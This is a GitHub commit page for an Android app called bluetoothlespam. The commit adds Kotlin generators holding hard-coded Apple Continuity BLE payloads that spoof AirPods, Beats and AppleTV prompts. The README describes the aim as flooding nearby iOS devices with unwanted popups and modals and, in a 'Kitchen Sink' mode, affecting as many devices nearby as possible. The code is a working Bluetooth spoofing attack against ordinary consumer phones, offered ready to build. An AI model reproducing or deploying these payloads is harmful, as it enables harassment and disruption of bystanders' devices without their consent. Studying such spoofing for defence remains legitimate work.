Skip to content

Commit

Permalink
Merge pull request #49 from simondankelmann/simondankelmann/iOsDevice…
Browse files Browse the repository at this point in the history
…Popups

Added Apple Device PopUps
  • Loading branch information
simondankelmann authored Nov 4, 2023
2 parents ab2a91c + 29e25ec commit 9a6724e
Show file tree
Hide file tree
Showing 25 changed files with 1,894 additions and 86 deletions.
12 changes: 12 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,15 @@ This app can spoof BLE advertisers that mimic devices supporting the Microsoft S

For additional information about the Microsoft Swift Pair Service, you can find it [here](https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair)

### Apple Device Popups
This app can spoof various Apple devices via Bluetooth Low Energy, which can be detected by iOS devices, resulting in a flood of unwanted popups on the receiving iOS device.

### Apple Action Modals
By spoofing Bluetooth Low Energy advertisers, this app can prompt iOS devices to open unwanted modals and popups, imitating certain Apple-specific actions."

### Kitchen Sink
Utilizing this functionality, the app randomly generates BLE advertisement packages based on all other features. This leads to the highest number of affected devices in the vicinity.

## Range
Since the official Bluetooth Low Energy API provided by Google's Android SDK allows you to set the TX Power level and include it in the advertiser's payload, but doesn't permit direct modification of the byte values actually transmitted in the payload, the range of the Fast Pair functionality is somewhat limited. The receiving devices calculate the transmitter's proximity based on the actual received signal strength and the transmitted byte in the payload, which contains the TX Power level the transmitter used. However, devices like the Flipper Zero have the capability to modify this byte, significantly extending their range.

Expand All @@ -39,6 +48,9 @@ You can clone the repository and open it in Android Studio to install the app, o
## Screenshots
![](./Assets/Screenshots/ScreenshotFastPairing.jpeg)
![](./Assets/Screenshots/ScreenshotSwiftPair.jpeg)
![](./Assets/Screenshots/ScreenshotContinuityDevicePopUps.jpeg)
![](./Assets/Screenshots/ScreenshotContinuityActionModals.jpeg)
![](./Assets/Screenshots/ScreenshotKitchenSink.jpeg)

## Disclaimer
Disclaimer for Bluetooth Low Energy Protocol Investigation Repository
Expand Down
Binary file modified app/debug/app-debug.apk
Binary file not shown.
Binary file modified app/release/app-release.apk
Binary file not shown.
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
package de.simon.dankelmann.bluetoothlespam.AdvertisementSetGenerators

import android.bluetooth.BluetoothDevice
import android.bluetooth.le.AdvertiseSettings
import android.bluetooth.le.AdvertisingSetParameters
import android.util.Log
import de.simon.dankelmann.bluetoothlespam.Callbacks.GenericAdvertisingSetCallback
import de.simon.dankelmann.bluetoothlespam.Callbacks.GoogleFastPairAdvertisingCallback
import de.simon.dankelmann.bluetoothlespam.Helpers.StringHelpers
import de.simon.dankelmann.bluetoothlespam.Models.AdvertisementSet
import de.simon.dankelmann.bluetoothlespam.Models.ManufacturerSpecificDataModel

class ContinuityActionModalAdvertisementSetGenerator: IAdvertisementSetGenerator {

private val _logTag = "ContinuityActionModalAdvertisementSetGenerator"

// Device Data taken from here:
// https://www.mobile-hacker.com/2023/09/07/spoof-ios-devices-with-bluetooth-pairing-messages-using-android/

val _deviceData = mapOf(
"AppleTV Setup" to "04042a0000000f05c101604c95000010000000",
"AppleTV Pair" to "04042a0000000f05c106604c95000010000000",
"AppleTV New User" to "04042a0000000f05c120604c95000010000000",
"AppleTV AppleID Setup" to "04042a0000000f05c12b604c95000010000000",
"AppleTV Wireless Audio Sync" to "04042a0000000f05c1c0604c95000010000000",
"AppleTV Homekit Setup" to "04042a0000000f05c10d604c95000010000000",
"AppleTV Keyboard" to "04042a0000000f05c113604c95000010000000",
"AppleTV ‘Connecting to Network’" to "04042a0000000f05c127604c95000010000000",
"Homepod Setup" to "04042a0000000f05c10b604c95000010000000",
"Setup New Phone" to "04042a0000000f05c109604c95000010000000",
"Transfer Number to New Phone" to "04042a0000000f05c102604c95000010000000",
"TV Color Balance" to "04042a0000000f05c11e604c95000010000000"
)

private val _manufacturerId = 76 // 0x004c == 76 = Apple
override fun getAdvertisementSets(): List<AdvertisementSet> {
var advertisementSets: MutableList<AdvertisementSet> = mutableListOf()

_deviceData.map { deviceData ->

var advertisementSet: AdvertisementSet = AdvertisementSet()

// Advertise Settings
advertisementSet.advertiseSettings.advertiseMode =
AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY
advertisementSet.advertiseSettings.txPowerLevel =
AdvertiseSettings.ADVERTISE_TX_POWER_HIGH
advertisementSet.advertiseSettings.connectable = true
advertisementSet.advertiseSettings.timeout = 0

// Advertising Parameters
advertisementSet.advertisingSetParameters.legacyMode = true
advertisementSet.advertisingSetParameters.interval =
AdvertisingSetParameters.INTERVAL_MIN
advertisementSet.advertisingSetParameters.txPowerLevel =
AdvertisingSetParameters.TX_POWER_HIGH
advertisementSet.advertisingSetParameters.primaryPhy = BluetoothDevice.PHY_LE_CODED
advertisementSet.advertisingSetParameters.secondaryPhy = BluetoothDevice.PHY_LE_2M

// AdvertiseData
advertisementSet.advertiseData.includeDeviceName = false

val manufacturerSpecificData = ManufacturerSpecificDataModel()
manufacturerSpecificData.manufacturerId = _manufacturerId
manufacturerSpecificData.manufacturerSpecificData =
StringHelpers.decodeHex(deviceData.value)

Log.d(
_logTag,
"Created Bytearray with ${manufacturerSpecificData.manufacturerSpecificData.size} Bytes"
)

advertisementSet.advertiseData.manufacturerData.add(manufacturerSpecificData)
advertisementSet.advertiseData.includeTxPower = false

// Scan Response
advertisementSet.scanResponse.includeTxPower = false

// General Data
advertisementSet.deviceName = deviceData.key

// Callbacks
advertisementSet.advertisingSetCallback = GenericAdvertisingSetCallback()
advertisementSet.advertisingCallback = GoogleFastPairAdvertisingCallback()

advertisementSets.add(advertisementSet)
}

return advertisementSets.toList()
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
package de.simon.dankelmann.bluetoothlespam.AdvertisementSetGenerators

import android.bluetooth.BluetoothDevice
import android.bluetooth.le.AdvertiseSettings
import android.bluetooth.le.AdvertisingSetParameters
import android.util.Log
import de.simon.dankelmann.bluetoothlespam.Callbacks.GenericAdvertisingSetCallback
import de.simon.dankelmann.bluetoothlespam.Callbacks.GoogleFastPairAdvertisingCallback
import de.simon.dankelmann.bluetoothlespam.Helpers.StringHelpers
import de.simon.dankelmann.bluetoothlespam.Models.AdvertisementSet
import de.simon.dankelmann.bluetoothlespam.Models.ManufacturerSpecificDataModel

class ContinuityDevicePopUpAdvertisementSetGenerator: IAdvertisementSetGenerator {

private val _logTag = "ContinuityAdvertisementSetGenerator"

// Device Data taken from here:
// https://www.mobile-hacker.com/2023/09/07/spoof-ios-devices-with-bluetooth-pairing-messages-using-android/

val _deviceData = mapOf(
"Airpods" to "071907022075aa3001000045121212000000000000000000000000",
"Airpods Pro" to "0719070e2075aa3001000045121212000000000000000000000000",
"Airpods Max" to "0719070a2075aa3001000045121212000000000000000000000000",
"Airpods Gen 2" to "0719070f2075aa3001000045121212000000000000000000000000",
"Airpods Gen 3" to "071907132075aa3001000045121212000000000000000000000000",
"Airpods Pro Gen 2" to "071907142075aa3001000045121212000000000000000000000000",
"PowerBeats" to "071907032075aa3001000045121212000000000000000000000000",
"PowerBeats Pro" to "0719070b2075aa3001000045121212000000000000000000000000",
"Beats Solo Pro" to "0719070c2075aa3001000045121212000000000000000000000000",
"Beats Studio Buds" to "071907112075aa3001000045121212000000000000000000000000",
"Beats Flex" to "071907102075aa3001000045121212000000000000000000000000",
"BeatsX" to "071907052075aa3001000045121212000000000000000000000000",
"Beats Solo3" to "071907062075aa3001000045121212000000000000000000000000",
"Beats Studio3" to "071907092075aa3001000045121212000000000000000000000000",
"Beats Studio Pro" to "071907172075aa3001000045121212000000000000000000000000",
"Beats Fit Pro" to "071907122075aa3001000045121212000000000000000000000000",
"Beats Studio Buds+" to "071907162075aa3001000045121212000000000000000000000000"
)

private val _manufacturerId = 76 // 0x004c == 76 = Apple
override fun getAdvertisementSets(): List<AdvertisementSet> {
var advertisementSets:MutableList<AdvertisementSet> = mutableListOf()

_deviceData.map {deviceData ->

var advertisementSet:AdvertisementSet = AdvertisementSet()

// Advertise Settings
advertisementSet.advertiseSettings.advertiseMode = AdvertiseSettings.ADVERTISE_MODE_LOW_LATENCY
advertisementSet.advertiseSettings.txPowerLevel = AdvertiseSettings.ADVERTISE_TX_POWER_HIGH
advertisementSet.advertiseSettings.connectable = true
advertisementSet.advertiseSettings.timeout = 0

// Advertising Parameters
advertisementSet.advertisingSetParameters.legacyMode = true
advertisementSet.advertisingSetParameters.interval = AdvertisingSetParameters.INTERVAL_MIN
advertisementSet.advertisingSetParameters.txPowerLevel = AdvertisingSetParameters.TX_POWER_HIGH
advertisementSet.advertisingSetParameters.primaryPhy = BluetoothDevice.PHY_LE_CODED
advertisementSet.advertisingSetParameters.secondaryPhy = BluetoothDevice.PHY_LE_2M

// AdvertiseData
advertisementSet.advertiseData.includeDeviceName = false

val manufacturerSpecificData = ManufacturerSpecificDataModel()
manufacturerSpecificData.manufacturerId = _manufacturerId
manufacturerSpecificData.manufacturerSpecificData = StringHelpers.decodeHex(deviceData.value)

Log.d(_logTag, "Created Bytearray with ${manufacturerSpecificData.manufacturerSpecificData.size} Bytes")

advertisementSet.advertiseData.manufacturerData.add(manufacturerSpecificData)
advertisementSet.advertiseData.includeTxPower = false

// Scan Response
advertisementSet.scanResponse.includeTxPower = false

// General Data
advertisementSet.deviceName = deviceData.key

// Callbacks
advertisementSet.advertisingSetCallback = GenericAdvertisingSetCallback()
advertisementSet.advertisingCallback = GoogleFastPairAdvertisingCallback()

advertisementSets.add(advertisementSet)
}

return advertisementSets.toList()
}

}
Original file line number Diff line number Diff line change
Expand Up @@ -16,8 +16,10 @@ class AdvertisementLoopService (bluetoothLeAdvertisementService:BluetoothLeAdver
private var _logTag = "AdvertisementLoopService"
var advertising = false
private var _bluetoothLeAdvertisementService:BluetoothLeAdvertisementService = bluetoothLeAdvertisementService
private var _currentIndex = 0
private var _advertisementSets:MutableList<AdvertisementSet> = mutableListOf()

//private var _advertisementSets:MutableList<AdvertisementSet> = mutableListOf()
private var _advertisementSetCollections:MutableList<MutableList<AdvertisementSet>> = mutableListOf()

private var _bleAdvertisementServiceCallback:MutableList<IBleAdvertisementServiceCallback> = mutableListOf()

private val _maxAdvertisers = 1
Expand Down Expand Up @@ -52,20 +54,24 @@ class AdvertisementLoopService (bluetoothLeAdvertisementService:BluetoothLeAdver
}
}

fun addAdvertisementSet(advertisementSet: AdvertisementSet){
// overwrite with own callbacks
var advertisementSetToAdd = advertisementSet
advertisementSetToAdd.advertisingCallback = advertiseCallback
advertisementSetToAdd.advertisingSetCallback = advertisingSetCallback
_advertisementSets.add(advertisementSetToAdd)
fun addAdvertisementSetCollection(advertisementSetCollection: List<AdvertisementSet>){
var newCollection:MutableList<AdvertisementSet> = mutableListOf()

advertisementSetCollection.map{
var advertisementSetToAdd = it
// overwrite with own callbacks
advertisementSetToAdd.advertisingCallback = advertiseCallback
advertisementSetToAdd.advertisingSetCallback = advertisingSetCallback
newCollection.add(advertisementSetToAdd)
}

_advertisementSetCollections.add(newCollection)
}

fun startAdvertising(){
val hardwareCheck = _bluetoothLeAdvertisementService.checkHardware()
Log.d(_logTag, "Hardware Check returns: ${hardwareCheck}");
advertising = true
_currentIndex = 0


timer.cancel()
timer = getTimer()
Expand All @@ -80,7 +86,6 @@ class AdvertisementLoopService (bluetoothLeAdvertisementService:BluetoothLeAdver

fun stopAdvertising(){
advertising = false
_currentIndex = 0

timer.cancel()

Expand All @@ -91,8 +96,10 @@ class AdvertisementLoopService (bluetoothLeAdvertisementService:BluetoothLeAdver
}

fun stopAllAdvertisers(){
_advertisementSets.map{
_bluetoothLeAdvertisementService.stopAdvertisingSet(it)
_advertisementSetCollections.map { collection ->
collection.map {advertisementSet ->
_bluetoothLeAdvertisementService.stopAdvertisingSet(advertisementSet)
}
}
}

Expand All @@ -116,31 +123,21 @@ class AdvertisementLoopService (bluetoothLeAdvertisementService:BluetoothLeAdver

fun advertiseNextPackage(clean: Boolean = true){

if(advertising && _advertisementSets.count() > 0){
if(advertising && _advertisementSetCollections.count() > 0){

// clean if there are already too many advertisers
if(clean){
cleanupAdvertisers()
}

//val nextAdvertisementSet = _advertisementSets[_currentIndex]
val nextAdvertisementSet = _advertisementSets.random()
val nextAdvertisementSetCollection = _advertisementSetCollections.random()
val nextAdvertisementSet = nextAdvertisementSetCollection.random()

_currentAdvertisers.add(nextAdvertisementSet)
//_bluetoothLeAdvertisementService.startAdvertising(nextAdvertisementSet)
_bluetoothLeAdvertisementService.startAdvertisingSet(nextAdvertisementSet)

Log.d(_logTag, "Added advertiser for: " + nextAdvertisementSet.deviceName);

val maxIndex = _advertisementSets.count() - 1

if(_currentIndex < maxIndex){
// go the next item
_currentIndex++
} else {
// go back to the start
_currentIndex = 0
}
}
}

Expand Down
Loading

0 comments on commit 9a6724e

Please sign in to comment.